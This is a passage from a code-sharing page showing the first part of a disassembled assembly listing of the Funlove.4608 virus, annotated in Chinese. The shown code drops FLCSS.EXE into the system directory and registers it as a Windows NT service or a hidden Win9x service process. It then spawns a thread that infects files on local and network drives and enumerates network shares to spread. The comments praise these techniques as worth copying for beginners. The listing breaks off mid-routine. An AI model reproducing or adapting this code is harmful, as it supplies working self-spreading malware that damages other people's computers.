funlove.txt
来自「Funlove.4608的源代码-Funlove.4608的源代码」· 文本 代码 · 共 1,426 行 · 第 1/3 页
TXT
1,426 行
--------------------------------------------------------------------------------
Funlove.4608的源代码
;*********************************************************************************************
; Flcss.asm
;
; disasm by Code Demon
;
; Code Demon Virus Dreaming Factory
;
;*********************************************************************************************
.586
ASSUME CS:CODE,DS:CODE
CODE SEGMENT USE32
VSize equ offset VEnd - VStart
Phys_VSize equ 1000
main:
;*********************************************************************************************
; 开始代码
;*********************************************************************************************
VStart:
call GetDelta ;此子程序用于取得病毒在内存中的开始地址,是绝大
;多数病毒都要用到的经典技术只一,对于写一些加密
;的软件有很大的帮助,莱鸟必看
lea esi,[offset HostCode + ebx]
mov edi,[esp]
sub edi,08
mov [esp],edi
movsd
movsd
push dword ptr [esp + 04]
call RelocKernel32 ;重定位Kernel32
or eax,eax
jz short Exit
cmp byte ptr [offset OS + ebx],00;判断操作系统的类型
jnz short NT_Srv
call Create9xProcess ;建立WIN9X进程
ret
NT_Srv: call CreateNTService ;建立NT服务
Exit: ret
;*********************************************************************************************
;建立NT服务的子程序
;*********************************************************************************************
CreateNTService:
call RelocAdvapi32
or eax,eax
jz short CNT_Failed
push 02
push 00
push 00 ; 取服务管理器的句柄
call OpenSCManagerA
or eax,eax
jz short CNT_Failed
mov SCM_Handle,eax
call CreateExecutable ;建立FLCSS.EXE,
or eax,eax ; 已经驻留内存就退出.
jz short CNT_Exit
mov edi,0F01FF
lea esi,offset [Service + ebx]
push edi
push esi
push SCM_Handle
call OpenServiceA
or eax,eax
jnz short CNT_Run
xor eax,eax
push eax
push eax
push eax
push eax
push eax
lea eax,[offset Buffer1 + ebx] ; flcss.exe
push eax
push 01 ;错误代码
push 02 ; 开始
push 20 ; 类型
push edi
push 00
push esi
push SCM_Handle ;句柄
call CreateServiceA ;建立服务
or eax,eax
jz short CNT_Failed
CNT_Run:
push 00
push 00
push eax
call StartServiceA ;开始服务
or eax,eax
jnz short CNT_Exit
CNT_Failed:
call StartInfectionThread ;传染子程序
CNT_Exit:
ret
;*********************************************************************************************
;建立WIN9X进程的子程序
;*********************************************************************************************
Create9xProcess:
;注意了:生成FLCSS.EXE,很多人的机子杀不绝,就是因为它在作怪.
call CreateExecutable
or eax,eax
jz short P9x_Exit
P9x_00:
xor eax,eax
lea edi,[offset Buffer2 + ebx]
push edi
push edi
mov ecx,040
repz stosd
mov cl,06
push eax
loop $ - 1
lea esi,[offset Buffer1 + ebx]
push esi
push 00
call CreateProcessA ;创建进程
or eax,eax
jnz short P9x_Exit
P9x_Failed:
call StartInfectionThread;传染子程序
P9x_Exit:
ret
****************************************************************************
;注意了:生成FLCSS.EXE,很多人的机子杀不绝,就是因为它在作怪.
****************************************************************************
CreateExecutable:
lea edi,[offset Buffer1 + ebx]
push edi
push 104
push edi
call GetSystemDirectoryA ;取得系统目录
add edi,eax
mov al,'\'
stosb
lea esi,[offset Process + ebx]
movsd
movsd
movsd
push 02
call OpenFile
cmp eax,-1
jz short CE_Exit
mov c_FileHandle,eax
lea edi,[offset VImports + ebx] ;清除 import
mov eax,-1
stosd
stosd
lea edi,[offset Kernel32_Relocated + ebx] ;第二个 import
mov eax,[edi - 8]
stosd
push 00
lea esi,c_BytesWritten
push esi
push 0200
push ebx
push c_FileHandle
call WriteFile ; 写文件头
push 00
push esi
push 1000
push ebx
push c_FileHandle
call WriteFile ; 写入病毒主体
push c_FileHandle
call CloseHandle ;关闭文件
CE_Exit:
inc eax
ret
;************************************************************************************
;以下应该是病毒的服务程序
;************************************************************************************
VService:
call GetDelta
push dword ptr [esp]
call RelocKernel32
or eax,eax
jz VS_Exit
cmp byte ptr [offset OS + ebx],00 ;操作系统的类型
jz short W9x_Service_Register ;注册WIN9X服务
WNT_Service_Hacknowledge:
call RelocAdvapi32 ;重定位Advapi32
or eax,eax
jz VS_Exit
lea esi,[offset Buffer1 + ebx]
xor eax,eax
lea ecx,[offset Service + ebx]
lea edx,[offset ServiceDispatcher + ebx]
mov [esi],ecx
mov [esi + 04],edx
mov [esi + 08],eax
mov [esi + 0C],eax ; 将控制权返回给调用者
push esi
call StartServiceCtrlDispatcherA
W9x_Service_Register:
lea esi,[offset USER32_Name + ebx]
push esi
call LoadLibraryA
lea esi,[offset RegisterClassA+ ebx]
push esi
push eax
call GetProcAddress ;取进程的地址
or eax,eax
jz short VS_00
mov [esi - 06],eax
lea esi,[offset Buffer1 + ebx]
mov edi,esi
xor eax,eax
mov ecx,0A
repz stosd
mov dword ptr [esi + 04],-1
mov dword ptr [esi + 10],400000 ; WINDOWS9X的基址
lea eax,[offset Service + ebx]
mov [esi + 24],eax
push esi
call RegisterClassA ; 这里非常重要
lea esi,[offset RegisterServiceProcess+ ebx]
push esi
push dword ptr [offset Kernel32_Base + ebx]
call GetProcAddress
or eax,eax
jz short VS_00
mov [esi - 06],eax
call GetCurrentProcessId ;取当前进程的ID
; 注册为服务
call GetCurrentProcessId ;取当前进程的ID
; 注册为服务进程,防止被用户
push 01 ;用CTRL+ALR+DEL从任务管理器中发现
push eax
call RegisterServiceProcess
push 8000 ; 延时
call Sleep
VS_00:
call StartInfectionThread
VS_Exit:
ret
;*********************************************************************************************
;NT服务子程序
;*********************************************************************************************
ServiceDispatcher:
call GetDelta
lea esi,[offset ServiceHandler + ebx]
lea edi,[offset Service + ebx]
push esi
push edi
call RegisterServiceCtrlHandlerA
mov Service_Handle,eax
lea esi,[offset Buffer1 + ebx]
mov edi,esi
mov ecx,06
xor eax,eax
repz stosd
mov dword ptr [esi],10
mov dword ptr [esi + 04],04
mov dword ptr [esi + 08],07
push esi
push Service_Handle ;告诉WINDOWS服务已经正确的运行
call SetServiceStatus
push 8000
call Sleep
call StartInfectionThread ;建立进程
ret
ServiceHandler:
ret ; 当管理员关闭服务时,提示系统出错!好东西!!!
;*********************************************************************************************
;此子程序用于建立线程
;*********************************************************************************************
StartInfectionThread:
call GetTickCount
mov [offset Rand + ebx],eax
lea eax,ThreadId
push eax
push 0
push 0
lea eax,[offset VThread + ebx]
push eax
push 0
push 0
call CreateThread
ret
;*********************************************************************************************
; 病毒线程
;*********************************************************************************************
VThread:
call GetDelta
call InfectDrives ;感染本地文件
push 60000
call Sleep
call GetRand
and al,1F
jnz short VThread
call InfectNetwork ;感染网络文件
jmp short VThread
;********************************************************************************
; 通过网络传染的子程序,值得借鉴
;********************************************************************************
InfectNetwork:
lea eax,[offset MPR_Name + ebx]
push eax
call LoadLibraryA
or eax,eax
jz short INet_Failed
push eax
lea esi,[offset MPR_Functions + ebx]
push esi
call DLL_Relocate
or eax,eax
jz short INet_Failed
push 00
call NetSearch
INet_Failed:
ret
;*********************************************************************************************
; 此子程序用于测试驱动器是否有效
;*********************************************************************************************
InfectDrives:
push esi
call GetTickCount
mov [offset Tick + ebx],eax
lea esi,[offset Buffer1 + ebx]
mov dword ptr [esi],' \:+ ebx - offset VStart'
ID_TestDrive:
mov byte ptr [esi + 03],00
push esi
call GetDriveTypeA ;取驱动器类型
cmp al,03 ;硬盘?
jz short ID_DriveOk
cmp al,04 ;网络驱动器?
jnz short ID_Invalid
ID_DriveOk:
add esi,03
push esi
call BlownAway
push esi
call FileSearch ;查找文件
sub esi,03
ID_Invalid:
mov al,[offset Buffer1 + ebx]
inc al
mov [offset Buffer1 + ebx],al
cmp al,'Z'
jna short ID_TestDrive
pop esi
ret
;*********************************************************************************************
;查找计算机
;*********************************************************************************************
NetSearch :
mov EnumBufferSize,4000
or EnumNB_Objects,-1
lea eax,WNetStructAddr
push eax
push WNetStructAddr
push 0
push 0
push 2
call WNetOpenEnumA
or eax,eax
jnz NET_Close
push 04
push 1000
push 4000
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?